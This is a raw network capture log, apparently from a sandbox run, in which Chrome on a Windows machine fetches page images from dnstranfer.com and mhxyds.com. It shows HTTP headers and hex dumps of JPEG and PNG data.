2022-08-11 03:43:01 UTC 11195 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 
02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 
0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 
0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 
0c 0c ff c0 00 11 08 01 4a 03 e8 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 
00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 
04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIF``CCJ"}!1AQa"q2

2022-08-11 03:43:01 UTC 11210 IN Data Raw: 19 35 35 91 86 db 2a 76 a9 cd 72 f3 f8 d1 95 70 3d 2b 2e ef c5 53 4a dc 31 a9 e4 66 9e d1 2d 8f 52 8f 51 81 
61 fb cb d3 18 ac 9d 53 5f b7 89 b1 b9 78 af 3c 7f 11 dd 30 e1 db f3 aa 93 5e 5c 4c 7e f3 53 e4 07 5b 43 b7 b9 f1 74 31 ff 
00 15 73 da cf 8c f7 b3 6d ac 43 6f 34 9d c9 a8 25 d3 1d 8d 57 29 3c ed 91 ea 7a eb dc b7 5a c6 ba b8 32 35 6a cd a5 32 
f6 aa 72 e9 df 37 4a 39 40 cb 94 93 eb 55 e4 52 6b 68 e9 64 8e 95 5e 6d 38 81 47 29 57 31 d9 72 2b 4f c2 b7 ed a5 ea 
31 c8 3b 1e 6a 26 b2 a2 28 fc a3 f4 a8 92 d2 c6 90 7a dc f6 af 0f f8 ed 65 b3 51 bb b7 ad 50 d7 35 ff 00 b7 c9 8d dd eb ce 
b4 ad 6d ed 80 5d d5 a9 6b aa 19 a4 5e 73 cd 78 f5 e0 cf 7e 85 64 d1 bd e5 f9 a6 ae 58 5b 6d 7a a9 a6 cb e7 25 6b 59 a7 
35 e2 e2 b6 b1 eb d0 35 f4 b4 c0 5a dc b4 6e 2b 1f 4f 
Data Ascii: 55*vrp=+.SJ1f-RQaS_x<0^\L~S[Ct1smCo4%W)<zZ25j2r7J9@URkhd^m8G)W1r+O1;j&(zeQP5m]k^sx~dX[mz
%kY55Zn+O

2022-08-11 03:43:01 UTC 11258 IN Data Raw: 61 d8 83 4b b8 fb 57 c3 9e 19 f8 e3 e2 8f 07 c6 b1 d9 ea b3 98 d7 a2 4b f3 8f d6 bb 1d 33 f6 d3 f1 45 9c 61 67 
b7 b1 b9 c7 7c 15 cd 22 e3 23 eb 16 eb 51 39 f9 ab e6 bb 0f db 6b 56 b9 3b 5f 49 b5 fa 89 0d 64 f8 8f f6 c0 f1 35 e2 bc 76 
f0 d9 d9 86 e0 30 05 98 50 3e 63 ea 86 90 0f e2 5a 82 5d 46 18 ce 1a 68 c7 d5 85 7c 4d aa 7c 67 f1 4e ac 49 9b 5b bc c7 
5c 2b 6d 15 87 77 e2 bd 46 ee 4d d2 6a 57 ae d9 ea 66 34 0b 99 1f 76 dd f8 82 ca cd 7f 7b 75 6f 1a 8e a5 a4 02 b1 35 3f 
8b 7e 1b d2 b7 79 da c5 8a 63 b7 9a 0d 7c 47 77 ac dc 5e 1f df 5d dc c9 fe f4 a4 d5 27 99 5b af cd f5 e6 8d 47 cc 8f b1 f5 
4f da 8b c1 ba 66 e1 fd a8 b3 30 ed 1a 96 cd 73 7a a7 ed a9 e1 cb 7c 8b 7b 5b eb 8f 4f 93 68 af 96 cc e0 0e 9f a5 46 6e 
08 ed 40 73 79 1f 42 6a bf b7 03 36 7e c7 a1 b7 
Data Ascii: aKWK3Eag|"#Q9kV;_Id5v0P>cZ]Fh|M|gNI[\+mwFMjWf4v{uo5?~yc|Gw^]'[GOf0sz|{[OhFn@syBj6~

Session ID Source IP Source Port Destination IP
Destination
Port

Process

211 118.27.105.118 443 192.168.11.20 53134 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:01 UTC 11226 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:43:00 GMT
Content-Type: image/jpeg
Content-Length: 104682
Last-Modified: Wed, 23 Jan 2019 08:50:08 GMT
Connection: close
ETag: "5c482ac0-198ea"
Expires: Sat, 10 Sep 2022 03:43:00 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:43:01 UTC 11227 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 
02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 
0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 
0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 
0c 0c ff c0 00 11 08 01 70 02 90 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 
00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 
04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIFHHCCp"}!1AQa"q2

2022-08-11 03:43:01 UTC 11242 IN Data Raw: 4d f3 e5 5b cc 79 7d 99 fa 9f a0 c0 fa d6 37 88 7e 23 5c 6b 0e 6c ad 91 a6 98 1c 7d 9e 13 f2 42 3d 59 bb 7d 05 
64 5f 89 ae 22 f3 75 9b 89 34 9b 79 17 2b 67 1b 6e ba b8 f4 dc 7a 8a cb 8e f9 e7 b6 f2 ac e1 fe cd b1 07 26 35 6f df 4c 7f 
da 6a 00 fd 74 f8 25 e0 7d 1f e1 17 84 65 f1 96 bc ff 00 6f d2 ec a5 f2 34 f1 19 da 75 fb f6 ca 35 ca fa c4 bc aa 7a 00 5b bd 
67 f8 27 e1 fd e7 8c be 3f 5c 78 1e 4d 42 1b 5f 00 ea 93 b7 8b 21 48 d8 6d 96 57 ff 00 5c b9 fe 3c 11 c7 61 c9 ad 5f da 57 
e1 bb fc 42 bf d0 3e 1d 78 5f ed 50 dd 69 d0 25 95 ac 68 4e 2c 2d d8 61 77 af fc f6 97 96 6f ee a9 ab ff 00 12 be 1e 5e 7e 
cb 9e 1b f0 a6 a1 71 1b 6a cd e0 59 92 c3 51 4b 79 08 5b ab 77 c2 b4 6c fe 9c 82 40 e8 07 35 e8 73 42 49 4a fe f6 af d0 
fc 7e 38 59 49 3a 2a 36 a1 4f 47 ad 9c 
Data Ascii: M[y}7~#\kl}B=Y}d_"u4y+gnz&5oLjt%}eo4u5z[g'?\xMB_!HmW\<a_WB>x_Pi%hN,-awo^~qjYQKy[wl@5sBIJ
~8YI:*6OG
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2022-08-11 03:43:01 UTC 11268 IN Data Raw: 1d 80 aa c1 73 56 a8 eb 55 d7 a2 f4 3a b3 6a 74 b0 54 16 55 83 f7 79 74 94 97 e6 fc de cf cd 35 b1 c8 7c 7b f8 
c7 6f f0 07 c0 50 e9 76 73 41 ff 00 09 6f 88 90 45 6d 1a 7f cb ac 60 6d 0f fe ca a2 f0 07 72 49 af 92 65 b1 5f 14 6a eb a2 
d9 b6 f8 d5 cc b7 77 5f f3 d0 f5 79 09 ee 49 e0 0a 9b e2 b6 ad a9 7c 43 f1 e4 9e 24 be 9a 6b 8d 63 c4 53 ed b2 b2 c7 30 
5b f4 41 8e c0 f5 ae 8a 1f 00 dd 59 e8 ff 00 d9 fa 44 46 e2 f2 27 0d 77 72 a7 e5 de 3a 92 7f ba 9d 3d cd 7b 98 7a 6a cf 94 
fc e7 34 cc 95 49 a8 d3 d9 68 bf 57 f3 7a fe 47 41 a3 dc db f8 70 3c cc 36 69 1a 1d b9 59 ad c9 1e 5c ec c3 e4 89 87 f1 
1e e7 d3 35 e7 fa 36 95 6f af dd b7 88 f4 b4 5d 3e 6b 59 ff 00 d2 34 89 a7 2b 67 78 0f 78 1c ff 00 ab 63 d3 69 fc 2b 23 52 
d6 ef bc 71 e2 68 fc 3b a7 5c 30 d2 74 f2 55 
Data Ascii: sVU:jtTUyt5|{oPvsAoEm`mrIe_jw_yI|C$kcS0[AYDF'wr:={zj4IhWzGAp<6iY\56o]>kY4+gxxci+#Rqh;\0tU

2022-08-11 03:43:01 UTC 11284 IN Data Raw: ee 1a 28 1b e5 b9 d4 e7 38 67 f6 51 d0 0e dc 55 8a 26 ce bb e2 54 b7 0b a7 c3 6b e6 2b 1f dd e9 d0 36 e6 63 
fd e9 5c 73 f8 74 f6 ac 8d 55 e0 d2 ee 56 eb 5b b8 fb 4d d2 e0 db 69 f0 28 f2 90 fa 6d 1d 7e a7 8a a7 77 e2 eb 5f 0f c0 f6 
7a 1a e0 c9 f2 4d 7b d5 e4 6e fb 7d 6a 3f 08 fc 3c bf f1 0c ed 74 e8 56 3c 83 24 ae d9 dc 0f 4d ed eb e8 a3 a5 12 d8 a2 
be b3 ab df f8 d2 ed 2d dd 4c 10 6f fd dd b2 0f 97 f1 23 ef 1f 6e 95 df 78 2b e0 53 34 b1 cf aa 28 ce 3f e3 dd 7e e8 ff 00 7b 
d3 e8 2b a2 f0 9f c3 9b 3d 05 16 ea 66 54 48 53 68 77 e0 a7 fb bf dd 1f ad 58 d6 fc 70 25 51 69 a7 a4 91 ee 3f c0 b8 79 
7d c7 f8 9e 4d 42 8b 7b 01 a1 f6 db 2f 0b 3c 89 1a 6d 31 a8 5d c7 1b 14 7b 0f ea 6b 4b e0 df c1 4f 88 1f b5 e7 c4 35 d0 
7c 07 a3 dd 5f 5c be 23 9a f9 b3 e4 40 a7 a9 66 
Data Ascii: (8gQU&Tk+6c\stUV[Mi(m~w_zM{n}j?<tV<$M-Lo#nx+S4(?~{+=fTHShwXp%Qi?y}MB{/<m1]{kKO5|_\#@f

2022-08-11 03:43:01 UTC 11300 IN Data Raw: 88 40 e3 1e fe f8 ad 8f 0d 78 42 fa fe cf ed 8f 24 56 76 64 6e 12 36 3c ec 7f b3 4d 1a b9 24 ee 64 1d 6f 50 b9 
65 b5 c3 23 31 df 91 1e 5c 8f 61 d1 47 d6 b6 f4 3f 09 e2 74 92 f1 bc 88 58 e5 81 39 9a 4f c4 f6 f5 ad 4b 79 16 24 68 f4 8b 
55 64 6f f5 97 53 70 9e e4 b7 73 ec 2a bd b9 57 ba 63 e4 cf ad dd 67 83 f7 2d e1 3e a7 da a9 22 ef 75 a1 a7 6f 63 69 6e 
fa 8c b6 7e 5d ba 34 51 44 cd f7 be 5d c7 04 13 d7 ad 64 eb 17 d1 68 f6 f1 85 6f 32 7e 96 d6 d9 c8 8c f7 95 fd 73 5a 63 56 
68 fc 33 aa c8 f2 5b 5e dc da aa b0 8a 2f f5 70 33 10 07 3d f1 5c 8e 99 0b df 33 4b 23 f9 97 17 0d 97 94 8f 94 81 d3 1e d4 
f4 e8 67 4d 3b ea 74 6f 0c d6 1f 0e 22 66 91 64 b8 d6 2e d9 da 47 5d cc e1 38 f9 57 eb fc 8d 66 7d 96 df 4a d3 e4 bb bd 
95 96 46 1c 43 bb f7 b9 f7 ed 8f 61 cd 69 78 
Data Ascii: @xB$Vvdn6<M$doPe#1\aG?tX9OKy$hUdoSps*Wcg->"uocin~]4QD]dho2~sZcVh3[^/p3=\3K#gM;to"fd.G]8W
f}JFCaix

2022-08-11 03:43:01 UTC 11316 IN Data Raw: e0 73 ed 53 28 ab 6e 6d 42 5a d9 c4 fa 3f f6 c2 ff 00 82 ce 78 c3 e3 8d 8c 9e 1e f0 eb 37 83 bc 2b 26 e8 e2 b6 
b0 6f 2e 69 93 a0 0c cb cf 3e 83 02 be 46 b8 4d 53 c5 4e db 97 ec 70 12 59 e5 27 7c cf 9f 56 ed fc e9 b0 69 56 5a 1d e3 
2d aa 7d be e2 3f f5 b2 9f f5 63 fd e7 f6 f4 15 21 d6 ae 2f 24 f2 d1 7c e9 58 e1 51 14 ac 4b fe ea f5 63 f5 ac 77 dc ed e5 
a7 17 78 92 e9 ba 3d 8e 87 6c fe 4f ef 07 59 27 90 ed 8c 9f 73 d5 8f b5 49 3f 8a ce a5 3a da 5a db 7d a8 e3 f8 62 dc bf f0 
14 e9 9f 73 53 9f 05 cb 79 24 32 6b 97 86 08 cf cc 91 ff 00 cb 53 e9 85 e8 b5 a9 2e ab 0e 97 63 e4 69 b6 f1 e9 31 a1 01 
a4 3c dc 4a dd b8 eb 93 ed 54 95 b6 1c a7 cc ee cd ef 87 5f 0f 7f b5 35 7f b4 78 82 75 87 ec 68 2e 64 8d e4 cc a8 83 a6 
7b 2f d0 56 9f 8d fe 24 ea 1e 2d d7 26 bc b6 86 
Data Ascii: sS(nmBZ?x7+&o.i>FMSNpY'|ViVZ-}?c!/$|XQKcwx=lOY'sI?:Z}bsSy$2kS.ci1<JT_5xuh.d{/V$-&

2022-08-11 03:43:01 UTC 11332 IN Data Raw: 5b 53 be 68 d7 19 31 42 7e ef b6 6b 73 48 d0 74 dd 15 db ec 76 68 d2 28 e5 9c 6f 27 ea 78 1f ae 29 59 97 1a 
91 8a bf 53 90 d2 7c 2f a8 5d 45 ff 00 12 fd 25 63 69 4f fc 7c 4e 72 4f be 3f c6 b6 34 cf 85 3e 74 a4 ea 57 3f 68 99 87 10 
a3 7c a6 ba 9b 19 a6 d4 27 11 49 e6 49 dd 61 84 6e 23 e9 c6 07 eb 5b 4b a3 fd 8a 4d ec d0 d9 b1 19 cb 39 92 60 3d 30 
38 fd 40 f6 aa f6 77 33 75 a4 f5 31 b4 6f 03 c3 a7 5a 79 90 da db db aa f5 07 8c 7b e7 a9 fc 05 7d 0b fb 0e 69 3e 1e 6b 9f 
1b 68 3e 26 32 49 63 6b a3 cb ac d8 bc 12 f9 6e e0 7d e5 04 ff 00 b5 5e 0f aa eb 76 b0 4c 05 af 99 34 91 e0 8f 35 b8 cf 
b2 af 1f 9d 7d 59 fb 05 78 7b c1 3a ef c4 db a3 e3 0d 6b 4c d3 64 b5 d2 8e 91 6f 0d c1 da 67 96 e8 61 98 81 d9 32 31 db 
34 c9 3e 7f d4 75 68 63 b8 6b 86 93 ec db a4 2e 90 c0 
Data Ascii: [Sh1B~ksHtvh(o'x)YS|/]E%ciO|NrO?4>tW?h|'IIan#[KM9`=08@w3u1oZy{}i>kh>&2Ickn}^vL45}Yx{:kLd
oga214>uhck.

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

212 192.168.11.20 59081 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:01 UTC 11264 OUT GET /lipgupiao/assets/images/nhaynhay.gif HTTP/1.1
Host: dnstranfer.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://dnstranfer.com/direct/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

213 192.168.11.20 59767 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:01 UTC 11265 OUT GET /lipgupiao/assets/images/foot-img.png HTTP/1.1
Host: dnstranfer.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://dnstranfer.com/direct/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

214 192.168.11.20 64414 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:01 UTC 11265 OUT GET /lipgupiao/assets/images/bg-01.jpg HTTP/1.1
Host: dnstranfer.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://dnstranfer.com/direct/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

215 192.168.11.20 64702 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:01 UTC 11266 OUT GET /lipgupiao/assets/images/left.png HTTP/1.1
Host: dnstranfer.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://dnstranfer.com/direct/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

216 192.168.11.20 58729 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:01 UTC 11267 OUT GET /lipgupiao/assets/images/right.png HTTP/1.1
Host: dnstranfer.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://dnstranfer.com/direct/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

217 192.168.11.20 63663 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:01 UTC 11267 OUT GET /lipgupiao/assets/images/haoli4.png HTTP/1.1
Host: dnstranfer.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://dnstranfer.com/direct/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

218 192.168.11.20 63664 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:01 UTC 11338 OUT GET /jpg/hero%20peic7c4f.jpg?h=419&la=en&mw=800&w=746&hash=1D7E8F4BD6C5FA5B5C7A265D08D4197
FA72551AA HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

219 47.243.100.207 443 192.168.11.20 64702 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:01 UTC 11339 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:43:01 GMT
etag: "77e-62d8e1a6-202eef;;;"
last-modified: Thu, 21 Jul 2022 05:18:30 GMT
content-type: image/png
content-length: 1918
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:43:01 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close
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2022-08-11 03:43:01 UTC 11339 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5c 00 00 00 0f 08 06 00 00 00 69 f5 a8 01 00 00 00 
19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 28 69 
54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 
6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 2
0 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 
6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 
2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 30 3a 32 32 20 20 
Data Ascii: PNGIHDR\itEXtSoftwareAdobe ImageReadyqe<(iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M
0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 
2018/08/13-16:40:22  

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

22 192.168.11.20 61720 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:41 UTC 358 OUT GET /img/logo.svg HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

220 47.243.100.207 443 192.168.11.20 64414 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:01 UTC 11341 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:43:01 GMT
etag: "1536a-62f0de0d-202f0e;;;"
last-modified: Mon, 08 Aug 2022 09:57:33 GMT
content-type: image/jpeg
content-length: 86890
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:43:01 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close

2022-08-11 03:43:02 UTC 11345 IN Data Raw: ff d8 ff e1 0f 1c 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0c 01 00 00 03 00 00 00 01 02 ee 00 00 01 01 
00 03 00 00 00 01 04 82 00 00 01 02 00 03 00 00 00 03 00 00 00 9e 01 06 00 03 00 00 00 01 00 02 00 00 01 12 00 03 00 
00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 a4 01 1b 00 05 00 00 00 01 
00 00 00 ac 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1e 00 00 00 b4 01 32 00 02 00 00 00 14 00 00 00 
d2 87 69 00 04 00 00 00 01 00 00 00 e8 00 00 01 20 00 08 00 08 00 08 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 
41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 53 36 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 32 3a 30 38 3a 30 38 
20 31 37 3a 35 37 3a 30 37 00 00 00 00 04 90 00 00 07 00 00 00 04 30 
Data Ascii: ExifMM*(12i ''Adobe Photoshop CS6 (Windows)2022:08:08 17:57:070

2022-08-11 03:43:02 UTC 11361 IN Data Raw: 7b 06 8c 06 9d 06 af 06 c0 06 d1 06 e3 06 f5 07 07 07 19 07 2b 07 3d 07 4f 07 61 07 74 07 86 07 99 07 ac 07 
bf 07 d2 07 e5 07 f8 08 0b 08 1f 08 32 08 46 08 5a 08 6e 08 82 08 96 08 aa 08 be 08 d2 08 e7 08 fb 09 10 09 25 09 3a 09 
4f 09 64 09 79 09 8f 09 a4 09 ba 09 cf 09 e5 09 fb 0a 11 0a 27 0a 3d 0a 54 0a 6a 0a 81 0a 98 0a ae 0a c5 0a dc 0a f3 0b 
0b 0b 22 0b 39 0b 51 0b 69 0b 80 0b 98 0b b0 0b c8 0b e1 0b f9 0c 12 0c 2a 0c 43 0c 5c 0c 75 0c 8e 0c a7 0c c0 0c d9 0c 
f3 0d 0d 0d 26 0d 40 0d 5a 0d 74 0d 8e 0d a9 0d c3 0d de 0d f8 0e 13 0e 2e 0e 49 0e 64 0e 7f 0e 9b 0e b6 0e d2 0e ee 0f 
09 0f 25 0f 41 0f 5e 0f 7a 0f 96 0f b3 0f cf 0f ec 10 09 10 26 10 43 10 61 10 7e 10 9b 10 b9 10 d7 10 f5 11 13 11 31 11 4f 
11 6d 11 8c 11 aa 11 c9 11 e8 12 07 12 26 12 45 12 64 
Data Ascii: {+=Oat2FZn%:Ody'=Tj"9Qi*C\u&@Zt.Id%A^z&Ca~1Om&Ed
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2022-08-11 03:43:02 UTC 11480 IN Data Raw: 70 ea 31 4b 78 15 76 2a de 2a de 2a d8 c5 57 0c 55 b1 8a bb 02 5b c5 2d 8c 55 76 2a d8 c5 5b c5 2d e2 86 c6 
29 6c 60 43 78 52 de 2a ec 0a de 2a b9 46 2a de 29 6c 62 a8 bb 1b 33 31 f5 24 14 88 74 ff 00 2b 02 40 4d 45 29 41 d0 
74 18 19 3b 02 5d 8a bb 15 53 b8 b8 48 12 a7 76 3f 65 70 a9 29 5b 3b bb 17 73 56 3d f1 60 d6 05 6f 15 76 2a ec 55 bc 2a 
de 2a de 2a d8 18 ab b1 4b b1 42 53 e6 bd 7e 3f 2f f9 7e ef 55 6a 19 22 5e 16 c8 7f 6a 56 d9 46 55 97 27 04 49 73 7b 3b 
